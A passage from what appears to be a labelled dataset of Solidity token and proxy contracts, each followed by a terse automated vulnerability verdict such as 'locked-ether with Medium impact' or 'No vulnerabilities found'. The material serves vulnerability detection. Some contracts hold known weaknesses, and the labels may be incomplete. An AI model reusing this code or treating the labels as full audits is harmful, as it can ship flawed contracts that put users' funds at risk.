// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ESP is ERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
address public governance;
mapping(address => bool) public minters;
event GovernanceTransferred(address indexed previousGovernance, address indexed newGovernance);
constructor () public{
name = "EquitySettlementProtocol";
symbol = "ESP";
governance = _msgSender();
emit GovernanceTransferred(address(0), governance);
}
function transferGovernance(address newGovernance) public {
require(_msgSender() == governance, "!governance");
require(newGovernance != address(0), "new governance is the zero address");
governance = newGovernance;
emit GovernanceTransferred(governance, newGovernance);
}
function mint(address account, uint amount) public {
require(minters[_msgSender()], "!minter");
_mint(account, amount);
}
function addMinter(address _minter) public {
require(_msgSender() == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(_msgSender() == governance, "!governance");
minters[_minter] = false;
}
function burn(uint256 value) public {
_burn(msg.sender, value);
}
} | No vulnerabilities found |
pragma solidity ^0.5.0;
/**
*VSP is a deflationary token designed to maximize revenue. At the same time, a liquidity lock-up mechanism is established under the agreement. 90% of liquidity mining revenue will be used to repurchase VSP on the Uniswap market.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20 {
uint8 public _Tokendecimals;
string public _Tokenname;
string public _Tokensymbol;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_Tokendecimals = decimals;
_Tokenname = name;
_Tokensymbol = symbol;
}
function name() public view returns(string memory) {
return _Tokenname;
}
function symbol() public view returns(string memory) {
return _Tokensymbol;
}
function decimals() public view returns(uint8) {
return _Tokendecimals;
}
}
contract Value_Swap_Protocol is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) public _OUTTokenBalances;
mapping (address => mapping (address => uint256)) public _allowed;
string constant tokenName = "Value Swap Protocol";
string constant tokenSymbol = "VSP";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 30000000000000000000000;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _OUTTokenBalances[owner];
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _OUTTokenBalances[msg.sender]);
require(to != address(0));
uint256 OUTTokenDecay = value.div(5);
uint256 tokensToTransfer = value.sub(OUTTokenDecay);
_OUTTokenBalances[msg.sender] = _OUTTokenBalances[msg.sender].sub(value);
_OUTTokenBalances[to] = _OUTTokenBalances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(OUTTokenDecay);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), OUTTokenDecay);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _OUTTokenBalances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_OUTTokenBalances[from] = _OUTTokenBalances[from].sub(value);
uint256 OUTTokenDecay = value.div(5);
uint256 tokensToTransfer = value.sub(OUTTokenDecay);
_OUTTokenBalances[to] = _OUTTokenBalances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(OUTTokenDecay);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), OUTTokenDecay);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_OUTTokenBalances[account] = _OUTTokenBalances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _OUTTokenBalances[account]);
_totalSupply = _totalSupply.sub(amount);
_OUTTokenBalances[account] = _OUTTokenBalances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./interfaces/IWebacyProxy.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
contract WebacyProxy is IWebacyProxy, AccessControl, Pausable {
using SafeERC20 for IERC20;
bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
constructor(address _memberAddress, address _webacyAddress) {
require(_memberAddress != address(0), "Not valid address");
require(_webacyAddress != address(0), "Not valid address");
_setupRole(DEFAULT_ADMIN_ROLE, _memberAddress);
_setupRole(EXECUTOR_ROLE, _memberAddress);
_setupRole(EXECUTOR_ROLE, _webacyAddress);
}
function transferErc20TokensAllowed(
address _contractAddress,
address _ownerAddress,
address _recipentAddress,
uint256 _amount
) external override whenNotPaused onlyRole(EXECUTOR_ROLE) {
IERC20(_contractAddress).safeTransferFrom(_ownerAddress, _recipentAddress, _amount);
}
function transferErc721TokensAllowed(
address _contractAddress,
address _ownerAddress,
address _recipentAddress,
uint256 _tokenId
) external override whenNotPaused onlyRole(EXECUTOR_ROLE) {
IERC721(_contractAddress).safeTransferFrom(_ownerAddress, _recipentAddress, _tokenId);
}
function pauseContract() external override whenNotPaused onlyRole(DEFAULT_ADMIN_ROLE) {
_pause();
}
function unpauseContract() external override whenPaused onlyRole(DEFAULT_ADMIN_ROLE) {
_unpause();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IWebacyProxy {
function transferErc20TokensAllowed(
address _contractAddress,
address _ownerAddress,
address _recipentAddress,
uint256 _amount
) external;
function transferErc721TokensAllowed(
address _contractAddress,
address _ownerAddress,
address _recipentAddress,
uint256 _tokenId
) external;
function pauseContract() external;
function unpauseContract() external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
